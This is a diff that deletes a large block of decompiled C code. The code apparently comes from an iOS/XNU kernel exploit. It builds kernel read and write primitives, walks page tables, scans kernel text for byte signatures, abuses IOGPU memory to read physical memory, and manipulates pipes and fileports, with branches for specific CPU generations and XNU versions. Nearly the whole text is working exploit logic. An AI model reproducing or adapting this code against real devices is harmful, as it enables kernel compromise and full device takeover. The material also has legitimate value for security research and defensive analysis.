-  *(uint64_t *)(v5 + 80) = 0;
-  v121 = (uint64_t *)(v5 + 48);
-LABEL_256:
-  *v121 = 0;
-LABEL_257:
-  v122 = *(uint64_t *)(v5 + 424);
-  if ( !v122 )
-    return 163848;
-  if ( !kread_u32(v5, v122, outputStruct) || (outputStruct[0].msgh_bits & 0x3FF) - 3 >= 2 )
-    return v305;
-  v123 = *(uint32_t *)(v4 + 13856);
-  if ( !v123 )
-  {
-LABEL_270:
-    v10 = 0;
-    goto LABEL_271;
-  }
-  v124 = 0;
-  v125 = v4 + 13600;
-  while ( 2 )
-  {
-    v126 = *(uint32_t *)(v125 + 4 * v124);
-    if ( v126 + 1 < 2 )
-    {
-LABEL_269:
-      if ( ++v124 >= (unsigned __int64)v123 )
-        goto LABEL_270;
-      continue;
-    }
-    break;
-  }
-  v127 = get_task_kobject_addr(krwCtx, *(uint32_t *)(v125 + 4 * v124));
-  if ( !v127 )
-  {
-    v10 = 163848;
-    goto LABEL_271;
-  }
-  v128 = walk_kaddr_chain_to_target(krwCtx, v127, 1);
-  if ( !v128 )
-  {
-    v10 = 163878;
-    goto LABEL_271;
-  }
-  v129 = v128 + 56;
-  if ( !kread64_internal(krwCtx, v128 + 56, (uint64_t *)outputStruct) )
-  {
-    v10 = 163855;
-    goto LABEL_271;
-  }
-  if ( !*(uint64_t *)&outputStruct[0].msgh_bits || kwrite_physmap_with_a3_ptr(v5, v129, 0) )
-  {
-    mach_port_deallocate(mach_task_self_, v126);
-    *(uint32_t *)(v125 + 4 * v124) = 0;
-    v123 = *(uint32_t *)(v4 + 13856);
-    goto LABEL_269;
-  }
-  v10 = 163856;
-LABEL_271:
-  v130 = 0;
-  *(uint32_t *)(v4 + 13856) = 0;
-  __handleb = (char *)(v4 + 192);
-  v131 = v4 + 64;
-  while ( 2 )
-  {
-    theDictc = (CFMutableDictionaryRef)(v4 + 688 * v130 + 16);
-    v293 = *(uint64_t *)theDictc;
-    if ( *(uint64_t *)theDictc )
-    {
-      v296 = *(uint64_t *)(v4 + 688 * v130 + 32);
-      if ( v296 )
-      {
-        v132 = v4 + 688 * v130;
-        v272 = *(uint32_t *)(v132 + 56);
-        v284 = *(uint64_t *)(v132 + 24);
-        if ( *(uint32_t *)v4 == 3 )
-        {
-          v133 = *(uint32_t *)(v4 + 688 * v130 + 52);
-          if ( v133 + 1 >= 2 )
-          {
-            v136 = get_task_kobject_addr(krwCtx, v133);
-            if ( !v136 )
-            {
-              v10 = 163848;
-              break;
-            }
-            v137 = walk_kaddr_chain_to_target(krwCtx, v136, 1);
-            if ( !v137 )
-            {
-LABEL_488:
-              v10 = 163878;
-              break;
-            }
-            v138 = v137 + 56;
-            if ( !kread64_internal(krwCtx, v137 + 56, (uint64_t *)outputStruct) )
-            {
-LABEL_487:
-              v10 = 163855;
-              break;
-            }
-            if ( *(uint64_t *)&outputStruct[0].msgh_bits && !kwrite_physmap_with_a3_ptr(v5, v138, 0) )
-            {
-LABEL_370:
-              v10 = 163856;
-              break;
-            }
-          }
-          else
-          {
-            v134 = traverse_sptm_pgtable_chain(krwCtx, mach_task_self_, v293);
-            if ( !v134 )
-            {
-              v10 = 163857;
-              break;
-            }
-            v135 = v134 + 56;
-            if ( !kread64_internal(krwCtx, v134 + 56, (uint64_t *)outputStruct) )
-              goto LABEL_487;
-            if ( *(uint64_t *)&outputStruct[0].msgh_bits && !kwrite_physmap_with_a3_ptr(v5, v135, 0) )
-              goto LABEL_370;
-            if ( v284 )
-              *(uint32_t *)(v284 + v293) = 0;
-          }
-        }
-        if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
-        {
-          outputStructCnt = 0;
-          has_flag = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A8);
-          if ( has_flag )
-          {
-            v265 = 0xFFFFFFFFF000LL;
-            v267 = 4095;
-            v277 = 4096;
-          }
-          else
-          {
-            v277 = *(unsigned int *)(v5 + 384);
-            v265 = 0xFFFFFFFFC000LL;
-            v267 = *(uint64_t *)(v5 + 392);
-          }
-          v151 = *(uint64_t *)(v4 + 13568);
-          if ( v151 && *(uint64_t *)(v4 + 13576) )
-          {
-            *(uint64_t *)v319 = *(uint64_t *)(v4 + 13576);
-            *(uint64_t *)a1 = v151;
-          }
-          else
-          {
-            resolve_kernel_text_range(&name, krwCtx);
-            outputStruct[0] = name;
-            if ( has_flag )
-              v152 = "29 01 00 8A .. .. .. .. .. .. .. .. 29 01 0A CB";
-            else
-              v152 = "08 7C 72 92 .. .. .. .. .. .. .. .. 08 01 09 CB";
-            v153 = kernel_pattern_scan((__int64)&name, v152, 0);
-            if ( !v153 )
-              goto LABEL_499;
-            v154 = find_kernel_func(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 4));
-            *(uint64_t *)a1 = v154;
-            if ( !v154 )
-              goto LABEL_499;
-            if ( !kread64_internal(krwCtx, v154, (uint64_t *)a1) )
-              goto LABEL_495;
-            if ( !*(uint64_t *)a1
-              || (v155 = find_kernel_func(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 20)), (*(uint64_t *)v319 = v155) == 0) )
-            {
-              v6 = 163878;
-              goto LABEL_499;
-            }
-            if ( !kread_physmap_decorated(krwCtx, v155, (unsigned __int64 *)v319) )
-            {
-LABEL_495:
-              v6 = 163855;
-LABEL_499:
-              v10 = v6;
-              break;
-            }
-            if ( !validate_kaddr_range(v5, *(__int64 *)v319) )
-            {
-              v6 = 163878;
-              goto LABEL_499;
-            }
-            *(uint64_t *)(v4 + 13568) = *(uint64_t *)a1;
-            *(uint64_t *)(v4 + 13576) = *(uint64_t *)v319;
-          }
-          if ( v284 )
-          {
-            v156 = 0;
-            v263 = 0;
-            v157 = 0;
-            do
-            {
-              if ( v157 && (v157 & (unsigned __int64)v267) + 8 < v277 )
-              {
-                v157 += 8;
-                if ( !(unsigned int)krw_read_thunk(krwCtx, v157, 8, &v317) )
-                  goto LABEL_487;
-                v158 = v317;
-              }
-              else
-              {
-                *(uint64_t *)&outputStruct[0].msgh_bits = 0;
-                *(uint64_t *)&name.msgh_bits = 0;
-                v159 = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A8);
-                v160 = 0xFFFFFFFFF000LL;
-                if ( !v159 )
-                  v160 = 0xFFFFFFFFC000LL;
-                v269 = v160;
-                v161 = task_struct_field_kread(krwCtx, mach_task_self_);
-                if ( !v161 )
-                  goto LABEL_488;
-                if ( !kread_physmap_decorated(krwCtx, v161, (unsigned __int64 *)&outputStruct[0].msgh_bits) )
-                  goto LABEL_487;
-                if ( (!*(uint64_t *)(v5 + 6256) || !*(uint64_t *)(v5 + 6264)) && !(unsigned int)init_kread_pattern_addrs((uint64_t *)v5) )
-                {
-                  v10 = 163843;
-                  goto LABEL_500;
-                }
-                valuea = v293 + v156;
-                v162 = *(uint64_t *)&outputStruct[0].msgh_bits;
-                if ( v159 )
-                {
-                  v163 = valuea >> 30;
-                  v164 = 255;
-                }
-                else
-                {
-                  v165 = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A16_A17_MASK | KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER);
-                  v163 = 2047;
-                  if ( !v165 )
-                    v163 = 7;
-                  v164 = valuea >> 36;
-                }
-                if ( !(unsigned int)krw_read_thunk(krwCtx, v162 + 8 * (v163 & v164), 8, &name) )
-                  goto LABEL_487;
-                if ( (~LOBYTE(name.msgh_bits) & 3) != 0 )
-                  goto LABEL_363;
-                v166 = translate_physmap_addr_via_segments(v5, *(uint64_t *)(v5 + 6256), *(uint64_t *)(v5 + 6264), *(uint64_t *)&name.msgh_bits & v269);
-                if ( !v166 )
-                  goto LABEL_488;
-                v167 = (valuea >> 21) & 0x1FF;
-                if ( !v159 )
-                  v167 = (valuea >> 25) & 0x7FF;
-                if ( !(unsigned int)krw_read_thunk(krwCtx, v166 + 8 * v167, 8, &name) )
-                  goto LABEL_487;
-                if ( (~LOBYTE(name.msgh_bits) & 3) != 0 )
-                {
-LABEL_363:
-                  v157 = 0;
-                  goto LABEL_364;
-                }
-                v263 = *(uint64_t *)&name.msgh_bits & v269;
-                v168 = translate_physmap_addr_via_segments(v5, *(uint64_t *)(v5 + 6256), *(uint64_t *)(v5 + 6264), *(uint64_t *)&name.msgh_bits & v269);
-                if ( !v168 )
-                  goto LABEL_488;
-                v169 = (valuea >> 12) & 0x1FF;
-                if ( !v159 )
-                  v169 = (valuea >> 14) & 0x7FF;
-                v157 = v168 + 8 * v169;
-                if ( !(unsigned int)krw_read_thunk(krwCtx, v157, 8, &name) )
-                  goto LABEL_487;
-                v158 = *(uint64_t *)&name.msgh_bits;
-                v317 = *(uint64_t *)&name.msgh_bits;
-              }
-              if ( !v158 )
-                goto LABEL_364;
-              v170 = v158 & v265;
-              if ( !v170 )
-                goto LABEL_364;
-              if ( !(unsigned int)krw_read_thunk(
-                                    krwCtx,
-                                    8LL * (unsigned int)((unsigned __int64)(v170 - *(uint64_t *)a1) >> vm_page_shift)
-                                  + *(uint64_t *)v319,
-                                    8,
-                                    &v316) )
-                goto LABEL_487;
-              v171 = v316 & 3;
-              if ( (v316 & 3) != 0 )
-              {
-                if ( v171 == 2 )
-                {
-                  v172 = v293 + v156;
-                  if ( ((v316 & 0xFFFFFFFFFFFCLL) | 0xFFFF000000000000LL) == v157 - (((v293 + v156) >> 9) & 0x18) )
-                    goto LABEL_364;
-                  goto LABEL_367;
-                }
-                if ( v171 != 3 )
-                  goto LABEL_364;
-              }
-              v172 = v293 + v156;
-LABEL_367:
-              if ( (*(uint64_t *)(v5 + 392) & v172) == 0 )
-              {
-                v173 = setup_vm_for_kwrite(krwCtx, v4, v263);
-                if ( (uint32_t)v173 )
-                {
-                  v10 = v173;
-                  goto LABEL_500;
-                }
-              }
-              if ( !(unsigned int)kwrite_with_retry(v5, v157, (__int64)&outputStructCnt, 8) )
-                goto LABEL_370;
-LABEL_364:
-              v156 += v277;
-            }
-            while ( v156 < v284 );
-          }
-        }
-        v139 = vm_deallocate(mach_task_self_, v293, v296);
-        if ( v139 || (v272 + 1 > 1 && (v139 = mach_port_deallocate(mach_task_self_, v272)) != 0) )
-        {
-          v10 = v139 | 0x80000000;
-          break;
-        }
-        for ( ii = 0; ii != 512; ii += 8 )
-        {
-          v141 = *(uint64_t *)&__handleb[ii];
-          if ( v141 )
-          {
-            vm_deallocate(mach_task_self_, v141, vm_page_size);
-            *(uint64_t *)&__handleb[ii] = 0;
-          }
-        }
-        for ( jj = 0; jj != 128; jj += 8 )
-        {
-          v143 = *(uint64_t *)(v131 + jj);
-          if ( v143 )
-          {
-            vm_deallocate(mach_task_self_, v143, v296);
-            *(uint64_t *)(v131 + jj) = 0;
-          }
-        }
-        bzero(theDictc, 0x2B0u);
-        v10 = 0;
-      }
-    }
-    v144 = 0;
-    v145 = 1;
-    while ( 2 )
-    {
-      v146 = v145;
-      v147 = v4 + 16 * v130 + 8 * v144;
-      v148 = *(uint64_t *)(v147 + 11024);
-      if ( !v148 )
-      {
-LABEL_304:
-        v145 = 0;
-        v144 = 1;
-        if ( (v146 & 1) == 0 )
-          goto LABEL_307;
-        continue;
-      }
-      break;
-    }
-    v149 = vm_deallocate(mach_task_self_, v148, vm_page_size);
-    if ( !v149 )
-    {
-      *(uint64_t *)(v147 + 11024) = 0;
-      goto LABEL_304;
-    }
-    v10 = v149 | 0x80000000;
-LABEL_307:
-    ++v130;
-    __handleb += 688;
-    v131 += 688;
-    if ( v130 != 16 )
-      continue;
-    break;
-  }
-LABEL_500:
-  v217 = *v260;
-  if ( *v260 )
-  {
-    v218 = 0;
-    v219 = v4 + 13892;
-    do
-    {
-      v220 = *(uint32_t *)(v219 + 4 * v218);
-      if ( v220 + 1 >= 2 )
-      {
-        mach_port_deallocate(mach_task_self_, v220);
-        *(uint32_t *)(v219 + 4 * v218) = 0;
-        v217 = *v260;
-      }
-      ++v218;
-    }
-    while ( v218 < v217 );
-  }
-  *v260 = 0;
-  v221 = *(uint32_t *)(v4 + 26184);
-  if ( v221 )
-  {
-    v222 = 0;
-    v223 = v4 + 17992;
-    do
-    {
-      v224 = *(uint64_t *)(v223 + 8 * v222);
-      if ( v224 )
-      {
-        vm_deallocate(mach_task_self_, v224, vm_page_size);
-        *(uint64_t *)(v223 + 8 * v222) = 0;
-        v221 = *(uint32_t *)(v4 + 26184);
-      }
-      ++v222;
-    }
-    while ( v222 < v221 );
-  }
-  *(uint32_t *)(v4 + 26184) = 0;
-  v225 = *(uint64_t *)(v5 + 344);
-  if ( v225 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
-  {
-    if ( v225 >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && ((*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v225 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)) )
-      goto LABEL_532;
-    *(uint64_t *)v319 = -1;
-    *(uint64_t *)a1 = -1;
-    pipe = fd_make_pipe(a1);
-    if ( !pipe )
-    {
-      pipe = setup_two_fds(a1);
-      if ( !pipe )
-      {
-        pipe = fd_make_pipe((int *)v319);
-        if ( !pipe )
-        {
-          v236 = kread_task_struct(krwCtx, mach_task_self_);
-          if ( v236 )
-          {
-            v237 = v236;
-            pipe = read_ipc_port_table_entry(krwCtx, v236, a1[0], (unsigned __int64 *)outputStruct);
-            if ( !pipe )
-            {
-              pipe = read_ipc_port_table_entry(krwCtx, v237, v319[0], (unsigned __int64 *)&name);
-              if ( !pipe )
-              {
-                if ( kwrite64(
-                       krwCtx,
-                       *(uint64_t *)&outputStruct[0].msgh_bits + 16LL,
-                       *(__int64 *)&name.msgh_bits) )
-                {
-                  pipe = 258052;
-                  v238 = a1[0];
-                  v239 = a1[1];
-                  *(uint32_t *)(v5 + 6448) = a1[0];
-                  *(uint32_t *)(v5 + 6452) = v239;
-                  v240 = v319[0];
-                  v241 = v319[1];
-                  *(uint32_t *)(v5 + 6456) = v319[0];
-                  *(uint32_t *)(v5 + 6460) = v241;
-                  if ( v238 != -1 && v239 != -1 && v240 != -1 && v241 != -1 )
-                  {
-                    pipe = fileport_kobj_vm_attr_check(krwCtx, v238);
-                    if ( !pipe )
-                    {
-                      pipe = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6452));
-                      if ( !pipe )
-                      {
-                        pipe = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6456));
-                        if ( !pipe )
-                        {
-                          pipe = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6460));
-                          if ( !pipe )
-                          {
-LABEL_531:
-                            v305 = pipe;
-                            goto LABEL_547;
-                          }
-                        }
-                      }
-                    }
-                  }
-                }
-                else
-                {
-                  pipe = 163856;
-                }
-              }
-            }
-          }
-          else
-          {
-            pipe = 163878;
-          }
-        }
-      }
-    }
-    if ( a1[0] != -1 )
-      close(a1[0]);
-    if ( a1[1] != -1 )
-      close(a1[1]);
-    if ( v319[0] != -1 )
-      close(v319[0]);
-    if ( v319[1] != -1 )
-      close(v319[1]);
-    *(uint64_t *)(v5 + 6456) = -1;
-    *(uint64_t *)(v5 + 6448) = -1;
-    goto LABEL_531;
-  }
-  v226 = (*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v225 > XNU_VERSION_PACKED(8020, 99, 1023, 1023, 1023);
-  if ( !v226 )
-  {
-LABEL_532:
-    *(uint64_t *)&outputStruct[0].msgh_bits = -1;
-    v228 = task_proc_struct_field_offset(krwCtx);
-    if ( v228 )
-    {
-      v229 = v228;
-      v314 = 0;
-      v230 = fd_make_pipe((int *)outputStruct);
-      if ( v230 || (v230 = setup_two_fds((int *)outputStruct)) != 0 )
-      {
-        v231 = -1;
-        v305 = v230;
-        goto LABEL_536;
-      }
-      fd_write((__int64)outputStruct, &v314, 4u);
-      fd_read((int *)outputStruct, &v314, 4u);
-      v233 = socket(2, 2, 0);
-      if ( v233 == -1 )
-      {
-        v242 = errno;
-        v243 = errno;
-        if ( v242 < 0 )
-          v243 = -v243;
-        v305 = v243 | 0x40000000;
-        v231 = -1;
-LABEL_536:
-        v232 = -1;
-        goto LABEL_537;
-      }
-      v231 = v233;
-      v234 = open("/private/etc/group", 0);
-      if ( v234 == -1 )
-      {
-        v244 = errno;
-        v245 = errno;
-        if ( v244 < 0 )
-          v245 = -v245;
-        v305 = v245 | 0x40000000;
-        v232 = -1;
-        goto LABEL_537;
-      }
-      v232 = v234;
-      if ( !kread_physmap_decorated(krwCtx, *(uint64_t *)(v4 + 11280) + v229, (unsigned __int64 *)&v317) )
-        goto LABEL_537;
-      v235 = get_ipc_kobject_offset(krwCtx, v317, &outputStructCnt);
-      if ( v235 )
-        goto LABEL_553;
-      if ( *(uint64_t *)(v5 + 544) )
-      {
-        v246 = outputStructCnt;
-LABEL_578:
-        if ( !kread_physmap_decorated(
-                krwCtx,
-                v246 + (int)outputStruct[0].msgh_bits * (__int64)*(int *)(v5 + 360),
-                (unsigned __int64 *)&name.msgh_bits)
-          || !kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1)
-          || !kread_physmap_decorated(krwCtx, *(uint64_t *)a1 + 56LL, (unsigned __int64 *)&v315)
-          || !kread_physmap_decorated(krwCtx, v315 + 16, (unsigned __int64 *)&v316) )
-        {
-          goto LABEL_537;
-        }
-        if ( validate_kaddr_range(v5, v316) )
-        {
-          if ( !kread_physmap_decorated(
-                  krwCtx,
-                  v246 + *(int *)(v5 + 360) * (__int64)v231,
-                  (unsigned __int64 *)&name.msgh_bits)
-            || !kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)v319) )
-          {
-            goto LABEL_537;
-          }
-          v235 = krw_fd_verify_roundtrip(krwCtx, (int *)outputStruct, *(unsigned __int64 *)v319);
-          if ( v235 )
-          {
-LABEL_553:
-            v305 = v235;
-            goto LABEL_537;
-          }
-          if ( kwrite64(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, v316) )
-          {
-            v247 = outputStruct[0].msgh_bits;
-            msgh_size = outputStruct[0].msgh_size;
-            *(uint32_t *)(v5 + 6448) = outputStruct[0].msgh_bits;
-            *(uint32_t *)(v5 + 6452) = msgh_size;
-            *(uint32_t *)(v5 + 6464) = v231;
-            v249 = v316;
-            *(uint64_t *)(v5 + 536) = v316;
-            v305 = 163841;
-            if ( v247 != -1 && msgh_size != -1 )
-            {
-              if ( v249 )
-              {
-                v305 = fileport_kobj_vm_attr_check(krwCtx, v247);
-                if ( !v305 )
-                {
-                  v305 = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6452));
-                  goto LABEL_620;
-                }
-              }
-            }
-            goto LABEL_537;
-          }
-          v258 = 163856;
-        }
-        else
-        {
-          v258 = 163878;
-        }
-        v305 = v258;
-        goto LABEL_537;
-      }
-      v313 = 0;
-      v246 = outputStructCnt;
-      if ( kread_physmap_decorated(
-             krwCtx,
-             outputStructCnt + *(int *)(v5 + 360) * (__int64)v232,
-             (unsigned __int64 *)&name.msgh_bits)
-        && kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1)
-        && kread_physmap_decorated(krwCtx, *(uint64_t *)a1 + 40LL, &v313) )
-      {
-        v250 = 128;
-        if ( *(int *)(v5 + 320) > 8019 )
-          v250 = -131072;
-        v251 = v250 + v313;
-        if ( *(int *)(v5 + 320) <= 8019 )
-          v252 = v313 + 1024;
-        else
-          v252 = v313;
-        if ( v251 < v252 )
-        {
-          v253 = 0;
-          v254 = 0;
-          do
-          {
-            v255 = kread_physmap_decorated(krwCtx, v251, &v312);
-            if ( v253 )
-            {
-              if ( !v255 )
-                goto LABEL_620;
-              v256 = v312;
-              if ( (v312 & 0x80000000000000LL) != 0 )
-                v256 = v312 | 0xFFFFFF8000000000LL;
-              if ( v256 < *(uint64_t *)(v5 + 6632)
-                || ((v256 & 3) == 0 ? (v257 = v256 >= *(uint64_t *)(v5 + 6640)) : (v257 = 1), v257) )
-              {
-                v254 = 0;
-                v253 = 0;
-              }
-              else if ( ++v254 == 7 )
-              {
-                *(uint64_t *)(v5 + 544) = v253;
-                goto LABEL_578;
-              }
-            }
-            else
-            {
-              if ( !v255 )
-                goto LABEL_620;
-              if ( v312 == 7 )
-                v253 = v251;
-              else
-                v253 = 0;
-            }
-            v251 += *(int *)(v5 + 360);
-          }
-          while ( v251 < v252 );
-        }
-        v305 = 0;
-      }
-LABEL_620:
-      if ( v305 )
-      {
-LABEL_537:
-        if ( outputStruct[0].msgh_bits != -1 )
-          close(outputStruct[0].msgh_bits);
-        if ( outputStruct[0].msgh_size != -1 )
-          close(outputStruct[0].msgh_size);
-        *(uint64_t *)(v5 + 6448) = -1;
-        if ( v231 != -1 )
-          close(v231);
-        *(uint32_t *)(v5 + 6464) = -1;
-      }
-      else
-      {
-        v305 = 0;
-      }
-      if ( v232 != -1 )
-        close(v232);
-    }
-    else
-    {
-      v305 = 163884;
-    }
-LABEL_547:
-    v10 = v305;
-    if ( !v305 )
-    {
-      *(uint32_t *)(v5 + 232) = 0;
-      *(__int128 *)(v5 + 240) = 0u;
-      *(__int128 *)(v5 + 256) = 0u;
-      *(uint64_t *)(v5 + 272) = 0;
-    }
-  }
-#undef outputStruct
-#undef v323
-#undef v324
-#undef v325
-#undef v326
-#undef v327
-#undef v328
-#undef v329
-#undef v330
-#undef v331
-#undef v332
-#undef v333
-#undef v334
-#undef v335
-  return v10;
-}
-// D7C4: conditional instruction was optimized away because w22.4==0
-// CEF4: variable 'v3' is possibly undefined
-// EAD8: variable 'kobject' is possibly undefined
-// ED8C: variable 'v209' is possibly undefined
-// EDB0: variable 'v211' is possibly undefined
-// 68: using guessed type struct section_64 stru_68;
-// 42EC0: using guessed type __int128 xmmword_42EC0;
-// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);
-
-//----- (000000000000F860) ----------------------------------------------------
-__int64 __fastcall ioconnect_kread_physmap(struct_krwCtx *krwCtx, __int64 a2, __int64 a3, unsigned int a4)
-{
-  __int64 result; // x0
-  __int64 v6; // x23
-  uint64_t *v7; // x24
-  __int64 v8; // x19
-  unsigned __int64 v9; // x26
-  unsigned __int64 v10; // x27
-  vm_size_t v11; // x8
-  vm_address_t v12; // x20
-  __int64 v13; // x28
-  __int64 v14; // x9
-  unsigned __int64 v15; // x22
-  unsigned __int64 v16; // x21
-  unsigned __int64 v17; // x25
-  size_t v19; // x22
-  kern_return_t v20; // w0
-  vm_address_t v21; // [xsp+0h] [xbp-F0h]
-  //__int64 v22; // [xsp+8h] [xbp-E8h]
-  __int64 v23; // [xsp+10h] [xbp-E0h]
-  unsigned __int64 v24; // [xsp+18h] [xbp-D8h]
-  __int64 v26; // [xsp+28h] [xbp-C8h]
-  __int64 v27; // [xsp+30h] [xbp-C0h]
-  __int64 v28; // [xsp+38h] [xbp-B8h]
-  mach_port_t object_name; // [xsp+40h] [xbp-B0h] BYREF
-  mach_msg_type_number_t infoCnt; // [xsp+44h] [xbp-ACh] BYREF
-  int info[9]; // [xsp+48h] [xbp-A8h] BYREF
-  __int16 v32; // [xsp+68h] [xbp-88h]
-  vm_size_t size; // [xsp+70h] [xbp-80h] BYREF
-  vm_address_t address; // [xsp+78h] [xbp-78h] BYREF
-  uint64_t __src[2]; // [xsp+80h] [xbp-70h] BYREF
-
-  result = 708642;
-  v6 = krwCtx->iogpuCtx;
-  if ( !v6 )
-    return 708609;
-  v7 = *(uint64_t **)(v6 + 13384);
-  v8 = *(uint64_t *)(v6 + 13400);
-  if ( *(uint64_t *)(v8 + 24) == v7[2] && *(uint64_t *)(v8 + 8) == *(uint64_t *)(v6 + 13392) && *v7 == *(uint64_t *)(v6 + 13408) )
-  {
-    if ( !a4 )
-      return 0;
-    v28 = *(uint64_t *)(v6 + 13392);
-    v9 = 0;
-    v10 = a4;
-    v11 = vm_page_size;
-    v12 = v7[3] - vm_page_size;
-    v23 = a2;
-    v24 = a4;
-    v21 = v12;
-    //v22 = a1;
-    while ( 1 )
-    {
-      v13 = v9 + a2;
-      v14 = krwCtx->pageMask & (v9 + a2);
-      v15 = v14 + 64;
-      v16 = krwCtx->pageSizeOrSomething;
-      v17 = v14 + v10;
-      address = v12;
-      infoCnt = 9;
-      *(uint64_t *)(v8 + 8) = v7[1];
-      madvise(*(void **)(v6 + 11296), 2 * v11, 2);
-      v26 = v7[1];
-      v27 = v7[3];
-      if ( v15 <= v16 || v17 > v16 )
-      {
-        v7[1] = v13 - 16;
-        v7[3] = v12;
-        v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name);
-        v7[1] = v26;
-        v7[3] = v27;
-        *(uint64_t *)(v8 + 8) = v28;
-        ++*(uint64_t *)(v6 + 13416);
-        if ( v20 )
-          return v20 | 0x80000000;
-        if ( v10 >= 0x10 )
-          v19 = 16;
-        else
-          v19 = v10;
-        __src[0] = address;
-        __src[1] = size + address;
-      }
-      else
-      {
-        v7[1] = v13 - 78;
-        v7[3] = v12;
-        v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name);
-        v7[1] = v26;
-        v7[3] = v27;
-        *(uint64_t *)(v8 + 8) = v28;
-        ++*(uint64_t *)(v6 + 13416);
-        if ( v20 )
-          return v20 | 0x80000000;
-        if ( v10 >= 2 )
-          v19 = 2;
-        else
-          v19 = v10;
-        LOWORD(__src[0]) = *(uint16_t *)&info[8];
-      }
-      memcpy((void *)(a3 + v9), __src, v19);
-      v9 += v19;
-      if ( v9 >= v24 )
-        return 0;
-      v10 -= v19;
-      v28 = *(uint64_t *)(v8 + 8);
-      v11 = vm_page_size;
-      //a1 = v22;
-      a2 = v23;
-      v12 = v21;
-    }
-  }
-  return result;
-}
-
-//----- (000000000000FAE4) ----------------------------------------------------
-__int64 __fastcall physmap_read_rebuild_page(uint64_t *a1, int8x8_t *a2)
-{
-  vm_size_t v4; // x21
-  char v5; // w24
-  unsigned __int64 v6; // x8
-  unsigned __int64 v7; // x10
-  unsigned __int64 v8; // x12
-  __int64 v9; // x8
-  __int64 v10; // x25
-  __int64 v11; // x22
-  vm_address_t v12; // x8
-  __int64 v13; // x23
-  vm_size_t v14; // x23
-  kern_return_t v15; // w0
-  __int64 v16; // x27
-  __int64 v17; // x26
-  __int64 v18; // x10
-  __int64 v19; // x8
-  __int64 v20; // x12
-  int8x8_t v21; // x11
-  __int64 v22; // x13
-  __int64 v23; // x14
-  kern_return_t memory_entry; // w0
-  uint8x8_t v25; // d0
-  bool v26; // zf
-  mem_entry_name_port_t object_handle; // [xsp+4h] [xbp-6Ch] BYREF
-  vm_size_t size; // [xsp+8h] [xbp-68h] BYREF
-  vm_address_t address; // [xsp+10h] [xbp-60h] BYREF
-  __int64 __buf; // [xsp+18h] [xbp-58h] BYREF
-
-  v4 = vm_page_size;
-  v5 = vm_page_shift;
-  __buf = 0;
-  arc4random_buf(&__buf, 8u);
-  v6 = a1[1];
-  v7 = v6 >> 34;
-  v8 = v6 >> 33;
-  v26 = HIDWORD(v6) == 0;
-  v9 = 0x40000;
-  if ( !v26 )
-    v9 = 0x80000;
-  if ( v8 )
-    v9 = 0x100000;
-  if ( v7 )
-    v10 = 0x200000;
-  else
-    v10 = v9;
-  v11 = 708609;
-  v12 = a1[1681];
-  address = v12;
-  if ( v12 )
-  {
-    v13 = a1[1682];
-    if ( v13 )
-    {
-      madvise((void *)(v12 - v4 + v13), v4, 3);
-      v14 = v13 - v4;
-      v15 = vm_allocate(mach_task_self_, &address, v14, -905953280);
-      if ( v15 )
-        return v15 | 0x80000000;
-      v16 = 0;
-      v11 = 708625;
-LABEL_13:
-      v17 = v16 & 0x7F;
-      if ( v16 )
-      {
-        if ( (v16 & 0x7F) == 0 )
-        {
-          v15 = vm_allocate(mach_task_self_, &address, v14, -905953280);
-          if ( v15 )
-            return v15 | 0x80000000;
-        }
-      }
-      v18 = __buf + v16;
-      *(uint64_t *)(address + v4 * v17) = __buf + v16;
-      __dsb(0xBu);
-      v19 = a2[4].u32[0];
-      if ( !(uint32_t)v19 )
-        goto LABEL_28;
-      v20 = 0;
-      v21 = a2[3];
-      while ( 1 )
-      {
-        v22 = 1LL << v20;
-        if ( (*(uint64_t *)&v21 & (1LL << v20)) == 0 )
-        {
-          v23 = *(uint64_t *)(*(uint64_t *)a2 + (unsigned int)((uint32_t)v20 << v5));
-          if ( v23 == v18 )
-          {
-            size = v4;
-            object_handle = 0;
-            a2[3] = (int8x8_t){ .u64 = { *(uint64_t *)&v21 | v22 } };
-            memory_entry = mach_make_memory_entry(
-                             mach_task_self_,
-                             &size,
-                             address + v4 * v17,
-                             2097155,
-                             &object_handle,
-                             0);
-            if ( memory_entry )
-            {
-              v11 = memory_entry | 0x80000000;
-            }
-            else
-            {
-              v11 = 0;
-              a2[5].i32[0] = object_handle;
-            }
-            LODWORD(v19) = a2[4].i32[0];
-LABEL_28:
-            v25 = (uint8x8_t)vcnt_s8(a2[3]);
-            v25.i16[0] = vaddlv_u8(v25);
-            ++v16;
-            v26 = (uint32_t)v19 == v25.i32[0] || (uint32_t)v11 == 0;
-            if ( v26 || v16 == v10 )
-              return v11;
-            goto LABEL_13;
-          }
-          if ( v23 != a1[1699] )
-          {
-            *(uint64_t *)&v21 |= v22;
-            a2[3] = v21;
-          }
-        }
-        if ( v19 == ++v20 )
-          goto LABEL_28;
-      }
-    }
-  }
-  return v11;
-}
-
-//----- (000000000000FD18) ----------------------------------------------------
